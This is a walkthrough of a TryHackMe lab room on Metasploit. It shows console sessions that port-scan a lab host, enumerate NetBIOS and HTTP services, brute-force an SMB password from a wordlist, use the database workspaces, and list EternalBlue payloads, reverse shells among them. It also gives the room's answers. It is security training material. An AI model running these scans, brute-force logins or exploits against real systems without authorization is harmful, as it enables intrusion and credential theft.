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Metasploit: Exploitation

Room information

Type: Walkthrough
Difficulty: Easy
Tags: -
Meta Tags: Walkthrough, Walk-through, Write-up, Writeup
Subscription type: Premium
Description:
Using Metasploit for scanning, vulnerability assessment and exploitation.

Room link: https://tryhackme.com/room/metasploitexploitation

Solution

Task 1: Introduction

In this room, we will learn how to use Metasploit for vulnerability scanning and exploitation. We will also cover how the database feature makes it easier to manage penetration testing engagements with a broader scope. Finally, we will look at generating payloads with msfvenom and how to start a Meterpreter session on most target platforms.

More specifically, the topics we will cover are:

  • How to scan target systems using Metasploit.
  • How to use the Metasploit database feature.
  • How to use Metasploit to conduct a vulnerability scan.
  • How to use Metasploit to exploit vulnerable services on target systems.
  • How msfvenom can be used to create payloads and obtain a Meterpreter session on the target system.

Please note that for all questions that require using a wordlist (e.g brute-force attacks), we will be using the wordlist on the AttackBox found at the following path:

/usr/share/wordlists/MetasploitRoom/MetasploitWordlist.txt

If you opt to use your own machine, please download the wordlist by clicking the Download Task Files button to the right.

Start the AttackBox and run Metasploit using the msfconsole command to follow along with this room.

Task 2: Scanning

Port Scanning

Metasploit has a number of modules to scan open ports on the target system and network. You can list potential port scanning modules available using the search portscan command.

msf6 > search portscan

Matching Modules
================

   #  Name                                              Disclosure Date  Rank    Check  Description
   -  ----                                              ---------------  ----    -----  -----------
   0  auxiliary/scanner/http/wordpress_pingback_access                   normal  No     Wordpress Pingback Locator
   1  auxiliary/scanner/natpmp/natpmp_portscan                           normal  No     NAT-PMP External Port Scanner
   2  auxiliary/scanner/portscan/ack                                     normal  No     TCP ACK Firewall Scanner
   3  auxiliary/scanner/portscan/ftpbounce                               normal  No     FTP Bounce Port Scanner
   4  auxiliary/scanner/portscan/syn                                     normal  No     TCP SYN Port Scanner
   5  auxiliary/scanner/portscan/tcp                                     normal  No     TCP Port Scanner
   6  auxiliary/scanner/portscan/xmas                                    normal  No     TCP "XMas" Port Scanner
   7  auxiliary/scanner/sap/sap_router_portscanner                       normal  No     SAPRouter Port Scanner


Interact with a module by name or index, for example use 7 or use auxiliary/scanner/sap/sap_router_portscanner

msf6 >

Port scanning modules will require you to set a few options:

msf6 auxiliary(scanner/portscan/tcp) > show options

Module options (auxiliary/scanner/portscan/tcp):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   CONCURRENCY  10               yes       The number of concurrent ports to check per host
   DELAY        0                yes       The delay between connections, per thread, in milliseconds
   JITTER       0                yes       The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
   PORTS        1-10000          yes       Ports to scan (e.g. 22-25,80,110-900)
   RHOSTS                        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   THREADS      1                yes       The number of concurrent threads (max one per host)
   TIMEOUT      1000             yes       The socket connect timeout in milliseconds

msf6 auxiliary(scanner/portscan/tcp) >
  • CONCURRENCY: Number of targets to be scanned simultaneously.
  • PORTS: Port range to be scanned. Please note that 1-1000 here will not be the same as using Nmap with the default configuration. Nmap will scan the 1000 most used ports, while Metasploit will scan port numbers from 1 to 10000.
  • RHOSTS: Target or target network to be scanned.
  • THREADS: Number of threads that will be used simultaneously. More threads will result in faster scans.

You can directly perform Nmap scans from the msfconsole prompt as shown below faster:

msf6 > nmap -sS 10.10.12.229
[*] exec: nmap -sS 10.10.12.229


Starting Nmap 7.60 ( https://nmap.org ) at 2021-08-20 03:54 BST
Nmap scan report for ip-10-10-12-229.eu-west-1.compute.internal (10.10.12.229)
Host is up (0.0011s latency).
Not shown: 992 closed ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49158/tcp open  unknown
MAC Address: 02:CE:59:27:C8:E3 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 64.19 seconds
msf6 >

As for information gathering, if your engagement requires a speedier approach to port scanning, Metasploit may not be your first choice. However, a number of modules make Metasploit a useful tool for the scanning phase.

UDP service Identification

The scanner/discovery/udp_sweep module will allow you to quickly identify services running over the UDP (User Datagram Protocol). As you can see below, this module will not conduct an extensive scan of all possible UDP services but does provide a quick way to identify services such as DNS or NetBIOS.

msf6 auxiliary(scanner/discovery/udp_sweep) > run

[*] Sending 13 probes to 10.10.12.229->10.10.12.229 (1 hosts)
[*] Discovered NetBIOS on 10.10.12.229:137 (JON-PC::U :WORKGROUP::G :JON-PC::U :WORKGROUP::G :WORKGROUP::U :__MSBROWSE__::G :02:ce:59:27:c8:e3)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/discovery/udp_sweep) >

SMB Scans

Metasploit offers several useful auxiliary modules that allow us to scan specific services. Below is an example for the SMB. Especially useful in a corporate network would be smb_enumshares and smb_version but please spend some time to identify scanners that the Metasploit version installed on your system offers.

msf6 auxiliary(scanner/smb/smb_version) > run

[+] 10.10.12.229:445      - Host is running Windows 7 Professional SP1 (build:7601) (name:JON-PC) (workgroup:WORKGROUP ) (signatures:optional)
[*] 10.10.12.229:445      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_version) >

When performing service scans, it would be important not to omit more "exotic" services such as NetBIOS. NetBIOS (Network Basic Input Output System), similar to SMB, allows computers to communicate over the network to share files or send files to printers. The NetBIOS name of the target system can give you an idea about its role and even importance (e.g. CORP-DC, DEVOPS, SALES, etc.). You may also run across some shared files and folders that could be accessed either without a password or protected with a simple password (e.g. admin, administrator, root, toor, etc.).

Remember, Metasploit has many modules that can help you have a better understanding of the target system and possibly help you find vulnerabilities. It is always worth performing a quick search to see if there are any modules that could be helpful based on your target system.

How many ports are open on the target system?

Hint: You can use the portscanner module on Metasploit.

┌──(kali㉿kali)-[/mnt/…/TryHackMe/Walkthroughs/Easy/Metasploit-Exploitation]
└─$ msfconsole                
Metasploit tip: You can pivot connections over sessions started with the 
ssh_login modules

               .;lxO0KXXXK0Oxl:.
           ,o0WMMMMMMMMMMMMMMMMMMKd,                                        
        'xNMMMMMMMMMMMMMMMMMMMMMMMMMWx,                                         
      :KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK:
    .KMMMMMMMMMMMMMMMWNNNWMMMMMMMMMMMMMMMX,                                        
   lWMMMMMMMMMMMXd:..     ..;dKMMMMMMMMMMMMo
  xMMMMMMMMMMWd.               .oNMMMMMMMMMMk
 oMMMMMMMMMMx.                    dMMMMMMMMMMx
.WMMMMMMMMM:                       :MMMMMMMMMM,      
xMMMMMMMMMo                         lMMMMMMMMMO
NMMMMMMMMW                    ,cccccoMMMMMMMMMWlccccc;
MMMMMMMMMX                     ;KMMMMMMMMMMMMMMMMMMX:
NMMMMMMMMW.                      ;KMMMMMMMMMMMMMMX:
xMMMMMMMMMd                        ,0MMMMMMMMMMK;
.WMMMMMMMMMc                         'OMMMMMM0,
 lMMMMMMMMMMk.                         .kMMO'
  dMMMMMMMMMMWd'                         ..
   cWMMMMMMMMMMMNxc'.                ##########
    .0MMMMMMMMMMMMMMMMWc            #+#    #+#
      ;0MMMMMMMMMMMMMMMo.          +:+
        .dNMMMMMMMMMMMMo          +#++:++#+
           'oOWMMMMMMMMo                +:+
               .,cdkO0K;        :+:    :+:                                
                                :::::::+:
                      Metasploit

       =[ metasploit v6.4.50-dev                          ]
+ -- --=[ 2496 exploits - 1283 auxiliary - 431 post       ]
+ -- --=[ 1610 payloads - 49 encoders - 13 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search portscan

Matching Modules
================

   #  Name                                              Disclosure Date  Rank    Check  Description
   -  ----                                              ---------------  ----    -----  -----------
   0  auxiliary/scanner/portscan/ftpbounce              .                normal  No     FTP Bounce Port Scanner
   1  auxiliary/scanner/natpmp/natpmp_portscan          .                normal  No     NAT-PMP External Port Scanner
   2  auxiliary/scanner/sap/sap_router_portscanner      .                normal  No     SAPRouter Port Scanner
   3  auxiliary/scanner/portscan/xmas                   .                normal  No     TCP "XMas" Port Scanner
   4  auxiliary/scanner/portscan/ack                    .                normal  No     TCP ACK Firewall Scanner
   5  auxiliary/scanner/portscan/tcp                    .                normal  No     TCP Port Scanner
   6  auxiliary/scanner/portscan/syn                    .                normal  No     TCP SYN Port Scanner
   7  auxiliary/scanner/http/wordpress_pingback_access  .                normal  No     Wordpress Pingback Locator


Interact with a module by name or index. For example info 7, use 7 or use auxiliary/scanner/http/wordpress_pingback_access

msf6 > use 5
msf6 auxiliary(scanner/portscan/tcp) > setg RHOSTS 10.10.15.236
RHOSTS => 10.10.15.236
msf6 auxiliary(scanner/portscan/tcp) > run
[+] 10.10.15.236:         - 10.10.15.236:21 - TCP OPEN
[+] 10.10.15.236:         - 10.10.15.236:22 - TCP OPEN
[+] 10.10.15.236:         - 10.10.15.236:139 - TCP OPEN
[+] 10.10.15.236:         - 10.10.15.236:445 - TCP OPEN
[+] 10.10.15.236:         - 10.10.15.236:8000 - TCP OPEN
[*] 10.10.15.236:         - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/portscan/tcp) > 

Answer: 5

Using the relevant scanner, what NetBIOS name can you see?

Hint: Use the netbios/nbname module.

msf6 auxiliary(scanner/portscan/tcp) > back
msf6 > search netbios

Matching Modules
================

   #  Name                                          Disclosure Date  Rank    Check  Description
   -  ----                                          ---------------  ----    -----  -----------
   0  auxiliary/scanner/http/ntlm_info_enumeration  .                normal  No     Host Information Enumeration via NTLM Authentication
   1  auxiliary/spoof/llmnr/llmnr_response          .                normal  No     LLMNR Spoofer
   2  auxiliary/scanner/netbios/nbname              .                normal  No     NetBIOS Information Discovery
   3  auxiliary/spoof/nbns/nbns_response            .                normal  No     NetBIOS Name Service Spoofer
   4  auxiliary/server/netbios_spoof_nat            2016-06-14       normal  No     NetBIOS Response "BadTunnel" Brute Force Spoof (NAT Tunnel)
   5  auxiliary/admin/netbios/netbios_spoof         .                normal  No     NetBIOS Response Brute Force Spoof (Direct)
   6  auxiliary/dos/smb/smb_loris                   2017-06-29       normal  No     SMBLoris NBSS Denial of Service
   7  auxiliary/server/wpad                         .                normal  No     WPAD.dat File Server


Interact with a module by name or index. For example info 7, use 7 or use auxiliary/server/wpad

msf6 > use 2
msf6 auxiliary(scanner/netbios/nbname) > run
[*] Sending NetBIOS requests to 10.10.15.236->10.10.15.236 (1 hosts)
[+] 10.10.15.236 [IP-10-10-15-236] OS:Unix Names:(IP-10-10-15-236, __MSBROWSE__, ACME IT SUPPORT) Addresses:(10.10.15.236) Mac:00:00:00:00:00:00 
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/netbios/nbname) > 

Answer: ACME IT SUPPORT

What is running on port 8000?

Hint: Use the http_version module.

msf6 auxiliary(scanner/netbios/nbname) > back
msf6 > search http_version

Matching Modules
================

   #  Name                                 Disclosure Date  Rank    Check  Description
   -  ----                                 ---------------  ----    -----  -----------
   0  auxiliary/scanner/http/http_version  .                normal  No     HTTP Version Detection


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/http/http_version

msf6 > use 0
msf6 auxiliary(scanner/http/http_version) > show options

Module options (auxiliary/scanner/http/http_version):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   10.10.15.236     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    80               yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   THREADS  1                yes       The number of concurrent threads (max one per host)
   VHOST                     no        HTTP server virtual host


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/http/http_version) > set RPORT 8000
RPORT => 8000
msf6 auxiliary(scanner/http/http_version) > run
[+] 10.10.15.236:8000 webfs/1.21 ( 403-Forbidden )
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/http_version) > 

Answer: webfs/1.21

What is the "penny" user's SMB password? Use the wordlist mentioned in the previous task

Hint: Use the smb_login module.

msf6 auxiliary(scanner/http/http_version) > back
msf6 > search smb_login

Matching Modules
================

   #  Name                             Disclosure Date  Rank    Check  Description
   -  ----                             ---------------  ----    -----  -----------
   0  auxiliary/scanner/smb/smb_login  .                normal  No     SMB Login Check Scanner


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/smb/smb_login

msf6 > use 0
[*] New in Metasploit 6.4 - The CreateSession option within this module can open an interactive session
msf6 auxiliary(scanner/smb/smb_login) > show options

Module options (auxiliary/scanner/smb/smb_login):

   Name               Current Setting  Required  Description
   ----               ---------------  --------  -----------
   ABORT_ON_LOCKOUT   false            yes       Abort the run when an account lockout is detected
   ANONYMOUS_LOGIN    false            yes       Attempt to login with a blank username and password
   BLANK_PASSWORDS    false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED   5                yes       How fast to bruteforce, from 0 to 5
   CreateSession      false            no        Create a new session for every successful login
   DB_ALL_CREDS       false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS        false            no        Add all passwords in the current database to the list
   DB_ALL_USERS       false            no        Add all users in the current database to the list
   DB_SKIP_EXISTING   none             no        Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
   DETECT_ANY_AUTH    false            no        Enable detection of systems accepting any authentication
   DETECT_ANY_DOMAIN  false            no        Detect if domain is required for the specified user
   PASS_FILE                           no        File containing passwords, one per line
   PRESERVE_DOMAINS   true             no        Respect a username that contains a domain name.
   Proxies                             no        A proxy chain of format type:host:port[,type:host:port][...]
   RECORD_GUEST       false            no        Record guest-privileged random logins to the database
   RHOSTS             10.10.15.236     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT              445              yes       The SMB service port (TCP)
   SMBDomain          .                no        The Windows domain to use for authentication
   SMBPass                             no        The password for the specified username
   SMBUser                             no        The username to authenticate as
   STOP_ON_SUCCESS    false            yes       Stop guessing when a credential works for a host
   THREADS            1                yes       The number of concurrent threads (max one per host)
   USERPASS_FILE                       no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS       false            no        Try the username as the password for all users
   USER_FILE                           no        File containing usernames, one per line
   VERBOSE            true             yes       Whether to print output for all attempts


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/smb/smb_login) > set SMBUser penny
SMBUser => penny
msf6 auxiliary(scanner/smb/smb_login) > set PASS_FILE /mnt/hgfs/Wargames/TryHackMe/Walkthroughs/Easy/Metasploit-Exploitation/MetasploitWordlist.txt
PASS_FILE => /mnt/hgfs/Wargames/TryHackMe/Walkthroughs/Easy/Metasploit-Exploitation/MetasploitWordlist.txt
msf6 auxiliary(scanner/smb/smb_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf6 auxiliary(scanner/smb/smb_login) > run
[*] 10.10.15.236:445      - 10.10.15.236:445 - Starting SMB login bruteforce
[-] 10.10.15.236:445      - 10.10.15.236:445 - Failed: '.\penny:95',
[-] 10.10.15.236:445      - 10.10.15.236:445 - Failed: '.\penny:98',
<---snip--->
[-] 10.10.15.236:445      - 10.10.15.236:445 - Failed: '.\penny:hugs',
[-] 10.10.15.236:445      - 10.10.15.236:445 - Failed: '.\penny:letmein',
[+] 10.10.15.236:445      - 10.10.15.236:445 - Success: '.\penny:leo1234'
[*] 10.10.15.236:445      - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.15.236:445      - Bruteforce completed, 1 credential was successful.
[*] 10.10.15.236:445      - You can open an SMB session with these credentials and CreateSession set to true
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_login) > 

Answer: leo1234

Task 3: The Metasploit Database

While it is not required when interacting with a single target on TryHackMe, an actual penetration testing engagement will likely have several targets.

Metasploit has a database function to simplify project management and avoid possible confusion when setting up parameter values.

Please note the following steps have already been taken in the TryHackMe AttackBox, so you will only need to do this if you are using Kali or have installed Metasploit yourself.

You will first need to start the PostgreSQL database, which Metasploit will use with the following command: systemctl start postgresql.

Then you will need to initialize the Metasploit Database using the msfdb init command. However, trying to run msfdb init as root will give the following error message, "Please run msfdb as a non-root user." This can be solved by running it as the postgres account using sudo -u postgres msfdb init.

The terminal below shows the example output. As mentioned, the steps below have already been performed on the AttackBox; however, if you are interested in repeating them, you will need to delete the existing database first using sudo -u postgres msfdb delete.

root@attackbox:~# systemctl start postgresql 
root@attackbox:~# sudo -u postgres msfdb init
Running the 'init' command for the database:
Creating database at /var/lib/postgresql/.msf4/db
Creating db socket file at /tmp
Starting database at /var/lib/postgresql/.msf4/db...waiting for server to start.... done
server started
success
Creating database users
Writing client authentication configuration file /var/lib/postgresql/.msf4/db/pg_hba.conf
Stopping database at /var/lib/postgresql/.msf4/db
Starting database at /var/lib/postgresql/.msf4/db...waiting for server to start.... done
server started
success
Creating initial database schema
Database initialization successful
root@attackbox:~#

You can now launch msfconsole and check the database status using the db_status command.

msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
msf6 >

The database feature will allow you to create workspaces to isolate different projects. When first launched, you should be in the default workspace. You can list available workspaces using the workspace command.

msf6 > workspace
* default
msf6 >

You can add a workspace using the -a parameter or delete a workspace using the -d parameter, respectively. The screenshot below shows that a new workspace named "tryhackme" was created.

msf6 > workspace -a tryhackme
[*] Added workspace: tryhackme
[*] Workspace: tryhackme
msf5 > workspace
default
* tryhackme
msf6 >

You will also notice that the new database name is printed in red, starting with a * symbol.

You can use the workspace command to navigate between workspaces simply by typing workspace followed by the desired workspace name.

msf6 > workspace
default
* tryhackme
msf5 > workspace default
[*] Workspace: default
msf5 > workspace 
tryhackme
* default
msf6 >

You can use the workspace -h command to list available options for the workspace command.

msf6 > workspace -h
Usage:
workspace                  List workspaces
workspace -v               List workspaces verbosely
workspace [name]           Switch workspace
workspace -a [name] ...    Add workspace(s)
workspace -d [name] ...    Delete workspace(s)
workspace -D               Delete all workspaces
workspace -r               Rename workspace
workspace -h               Show this help information

Different from regular Metasploit usage, once Metasploit is launched with a database, the help command, you will show the Database Backends Commands menu.

Database Backend Commands
=========================

Command           Description
-------           -----------
analyze           Analyze database information about a specific address or address range
db_connect        Connect to an existing data service
db_disconnect     Disconnect from the current data service
db_export         Export a file containing the contents of the database
db_import         Import a scan result file (filetype will be auto-detected)
db_nmap           Executes nmap and records the output automatically
db_rebuild_cache  Rebuilds the database-stored module cache (deprecated)
db_remove         Remove the saved data service entry
db_save           Save the current data service connection as the default to reconnect on startup
db_status         Show the current data service status
hosts             List all hosts in the database
loot              List all loot in the database
notes             List all notes in the database
services          List all services in the database
vulns             List all vulnerabilities in the database
workspace         Switch between database workspaces

If you run a Nmap scan using the db_nmap shown below, all results will be saved to the database.

msf6 > db_nmap -sV -p- 10.10.12.229
[*] Nmap: Starting Nmap 7.80 ( https://nmap.org ) at 2021-08-20 03:15 UTC
[*] Nmap: Nmap scan report for ip-10-10-12-229.eu-west-1.compute.internal (10.10.12.229)
[*] Nmap: Host is up (0.00090s latency).
[*] Nmap: Not shown: 65526 closed ports
[*] Nmap: PORT      STATE SERVICE            VERSION
[*] Nmap: 135/tcp   open  msrpc              Microsoft Windows RPC
[*] Nmap: 139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
[*] Nmap: 445/tcp   open  microsoft-ds       Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
[*] Nmap: 3389/tcp  open  ssl/ms-wbt-server?
[*] Nmap: 49152/tcp open  msrpc              Microsoft Windows RPC
[*] Nmap: 49153/tcp open  msrpc              Microsoft Windows RPC
[*] Nmap: 49154/tcp open  msrpc              Microsoft Windows RPC
[*] Nmap: 49158/tcp open  msrpc              Microsoft Windows RPC
[*] Nmap: 49162/tcp open  msrpc              Microsoft Windows RPC
[*] Nmap: MAC Address: 02:CE:59:27:C8:E3 (Unknown)
[*] Nmap: Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
[*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 94.91 seconds
msf6 >

You can now reach information relevant to hosts and services running on target systems with the hosts and services commands, respectively.

msf6 > hosts

Hosts
=====

address       mac                name                                        os_name  os_flavor  os_sp  purpose  info  comments
-------       ---                ----                                        -------  ---------  -----  -------  ----  --------
10.10.12.229  02:ce:59:27:c8:e3  ip-10-10-12-229.eu-west-1.compute.internal  Unknown                    device         

msf6 > services
Services
========

host          port   proto  name               state  info
----          ----   -----  ----               -----  ----
10.10.12.229  135    tcp    msrpc              open   Microsoft Windows RPC
10.10.12.229  139    tcp    netbios-ssn        open   Microsoft Windows netbios-ssn
10.10.12.229  445    tcp    microsoft-ds       open   Microsoft Windows 7 - 10 microsoft-ds workgroup: WORKGROUP
10.10.12.229  3389   tcp    ssl/ms-wbt-server  open   
10.10.12.229  49152  tcp    msrpc              open   Microsoft Windows RPC
10.10.12.229  49153  tcp    msrpc              open   Microsoft Windows RPC
10.10.12.229  49154  tcp    msrpc              open   Microsoft Windows RPC
10.10.12.229  49158  tcp    msrpc              open   Microsoft Windows RPC
10.10.12.229  49162  tcp    msrpc              open   Microsoft Windows RPC

msf6 >

The hosts -h and services -h commands can help you become more familiar with available options. Once the host information is stored in the database, you can use the hosts -R command to add this value to the RHOSTS parameter.

Example Workflow

  1. We will use the vulnerability scanning module that finds potential MS17-010 vulnerabilities with the use auxiliary/scanner/smb/smb_ms17_010 command.
  2. We set the RHOSTS value using hosts -R.
  3. We have typed show options to check if all values were assigned correctly. (In this example, 10.10.138.32 is the IP address we have scanned earlier using the db_nmap command)
  4. Once all parameters are set, we launch the exploit using the run or exploit command.
msf6 > use auxiliary/scanner/smb/smb_ms17_010 
msf5 auxiliary(scanner/smb/smb_ms17_010) > hosts -R 

Hosts
=====

address       mac                name                                        os_name  os_flavor  os_sp  purpose  info  comments
-------       ---                ----                                        -------  ---------  -----  -------  ----  --------
10.10.12.229  02:ce:59:27:c8:e3  ip-10-10-12-229.eu-west-1.compute.internal  Unknown                    device         

RHOSTS => 10.10.12.229

msf6 auxiliary(scanner/smb/smb_ms17_010) > show options 

Module options (auxiliary/scanner/smb/smb_ms17_010):

Name         Current Setting                                                 Required  Description
----         ---------------                                                 --------  -----------
CHECK_ARCH   true                                                            no        Check for architecture on vulnerable hosts
CHECK_DOPU   true                                                            no        Check for DOUBLEPULSAR on vulnerable hosts
CHECK_PIPE   false                                                           no        Check for named pipe on vulnerable hosts
NAMED_PIPES  /usr/share/metasploit-framework/data/wordlists/named_pipes.txt  yes       List of named pipes to check
RHOSTS       10.10.12.229                                                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT        445                                                             yes       The SMB service port (TCP)
SMBDomain    .                                                               no        The Windows domain to use for authentication
SMBPass                                                                      no        The password for the specified username
SMBUser                                                                      no        The username to authenticate as
THREADS      1                                                               yes       The number of concurrent threads (max one per host)

msf6 auxiliary(scanner/smb/smb_ms17_010) > run

If there is more than one host saved to the database, all IP addresses will be used when the hosts -R command is used. In a typical penetration testing engagement, we could have the following scenario:

  • Finding available hosts using the db_nmap command
  • Scanning these for further vulnerabilities or open ports (using a port scanning module)

The services command used with the -S parameter will allow you to search for specific services in the environment.

msf6 > services -S netbios                                                                                       
Services                                                                                                             
========                                                                                                             
                                                                                                                
host          port  proto  name         state  info                                                                              
----          ----  -----  ----         -----  ----                                                                              
10.10.12.229  139   tcp    netbios-ssn  open   Microsoft Windows netbios-ssn

msf6 >

You may want to look for low-hanging fruits such as:

  • HTTP: Could potentially host a web application where you can find vulnerabilities like SQL injection or Remote Code Execution (RCE).
  • FTP: Could allow anonymous login and provide access to interesting files.
  • SMB: Could be vulnerable to SMB exploits like MS17-010
  • SSH: Could have default or easy to guess credentials
  • RDP: Could be vulnerable to Bluekeep or allow desktop access if weak credentials were used.

As you can see, Metasploit has many features to aid in engagements such as the ability to compartmentalize your engagements into workspaces, analyze your results at a high level, and quickly import and explore data.

Task 4: Vulnerability Scanning

Metasploit allows you to quickly identify some critical vulnerabilities that could be considered as “low hanging fruit”. The term “low hanging fruit” usually refers to easily identifiable and exploitable vulnerabilities that could potentially allow you to gain a foothold on a system and, in some cases, gain high-level privileges such as root or administrator.

Finding vulnerabilities using Metasploit will rely heavily on your ability to scan and fingerprint the target. The better you are at these stages, the more options Metasploit may provide you. For example, if you identify a VNC service running on the target, you may use the search function on Metasploit to list useful modules. The results will contain payload and post modules. At this stage, these results are not very useful as we have not discovered a potential exploit to use just yet. However, in the case of VNC, there are several scanner modules that we can use.

msf6 > use auxiliary/scanner/vnc/
use auxiliary/scanner/vnc/ard_root_pw    use auxiliary/scanner/vnc/vnc_login      use auxiliary/scanner/vnc/vnc_none_auth
msf6 > use auxiliary/scanner/vnc/

You can use the info command for any module to have a better understanding of its use and purpose.

msf6 auxiliary(scanner/vnc/vnc_login) > info

       Name: VNC Authentication Scanner
     Module: auxiliary/scanner/vnc/vnc_login
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  carstein 
  jduck 

Check supported:
  No

Basic options:
  Name              Current Setting                                                  Required  Description
  ----              ---------------                                                  --------  -----------
  BLANK_PASSWORDS   false                                                            no        Try blank passwords for all users
  BRUTEFORCE_SPEED  5                                                                yes       How fast to bruteforce, from 0 to 5
  DB_ALL_CREDS      false                                                            no        Try each user/password couple stored in the current database
  DB_ALL_PASS       false                                                            no        Add all passwords in the current database to the list
  DB_ALL_USERS      false                                                            no        Add all users in the current database to the list
  PASSWORD                                                                           no        The password to test
  PASS_FILE         /opt/metasploit-framework-5101/data/wordlists/vnc_passwords.txt  no        File containing passwords, one per line
  Proxies                                                                            no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                                                                             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
  RPORT             5900                                                             yes       The target port (TCP)
  STOP_ON_SUCCESS   false                                                            yes       Stop guessing when a credential works for a host
  THREADS           1                                                                yes       The number of concurrent threads (max one per host)
  USERNAME                                                                    no        A specific username to authenticate as
  USERPASS_FILE                                                                      no        File containing users and passwords separated by space, one pair per line
  USER_AS_PASS      false                                                            no        Try the username as the password for all users
  USER_FILE                                                                          no        File containing usernames, one per line
  VERBOSE           true                                                             yes       Whether to print output for all attempts

Description:
  This module will test a VNC server on a range of machines and report 
  successful logins. Currently it supports RFB protocol version 3.3, 
  3.7, 3.8 and 4.001 using the VNC challenge response authentication 
  method.

References:
  https://cvedetails.com/cve/CVE-1999-0506/

msf6 auxiliary(scanner/vnc/vnc_login) >

As you can see, the vnc_login module can help us find login details for the VNC service.

Who wrote the module that allows us to check SMTP servers for open relay?

Hint: search -> use -> info

msf6 auxiliary(scanner/smb/smb_login) > back
msf6 > search open relay

Matching Modules
================

   #  Name                               Disclosure Date  Rank    Check  Description
   -  ----                               ---------------  ----    -----  -----------
   0  auxiliary/scanner/smtp/smtp_relay  .                normal  No     SMTP Open Relay Detection


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/smtp/smtp_relay

msf6 > info 0

       Name: SMTP Open Relay Detection
     Module: auxiliary/scanner/smtp/smtp_relay
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Campbell Murray
  xistence <xistence@0x90.nl>

Check supported:
  No

Basic options:
  Name      Current Setting     Required  Description
  ----      ---------------     --------  -----------
  EXTENDED  false               yes       Do all the 16 extended checks
  MAILFROM  sender@example.com  yes       FROM address of the e-mail
  MAILTO    target@example.com  yes       TO address of the e-mail
  RHOSTS    10.10.15.236        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     25                  yes       The target port (TCP)
  THREADS   1                   yes       The number of concurrent threads (max one per host)

Description:
  This module tests if an SMTP server will accept (via a code 250)
  an e-mail by using a variation of testing methods.
  Some of the extended methods will try to abuse configuration or mailserver flaws.

References:
  http://www.ietf.org/rfc/rfc2821.txt
  https://svn.nmap.org/nmap/scripts/smtp-open-relay.nse


View the full module info with the info -d command.

msf6 > 

Answer: Campbell Murray

Task 5: Exploitation

As the name suggests, Metasploit is an exploitation framework. Exploits are the most populated module category.

       =[ metasploit v5.0.101-dev]
+ -- --=[ 2048 exploits - 1105 auxiliary - 344 post]
+ -- --=[ 562 payloads - 45 encoders - 10 nops]
+ -- --=[ 7 evasion]

You can search exploits using the search command, obtain more information about the exploit using the info command, and launch the exploit using exploit. While the process itself is simple, remember that a successful outcome depends on a thorough understanding of services running on the target system.

Most of the exploits will have a preset default payload. However, you can always use the show payloads command to list other commands you can use with that specific exploit.

msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads 

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   generic/custom                                               manual  No     Custom Payload
   1   generic/shell_bind_tcp                                       manual  No     Generic Command Shell, Bind TCP Inline
   2   generic/shell_reverse_tcp                                    manual  No     Generic Command Shell, Reverse TCP Inline
   3   windows/x64/exec                                             manual  No     Windows x64 Execute Command
   4   windows/x64/loadlibrary                                      manual  No     Windows x64 LoadLibrary Path
   5   windows/x64/messagebox                                       manual  No     Windows MessageBox x64
   6   windows/x64/meterpreter/bind_ipv6_tcp                        manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
   7   windows/x64/meterpreter/bind_ipv6_tcp_uuid                   manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
   8   windows/x64/meterpreter/bind_named_pipe                      manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
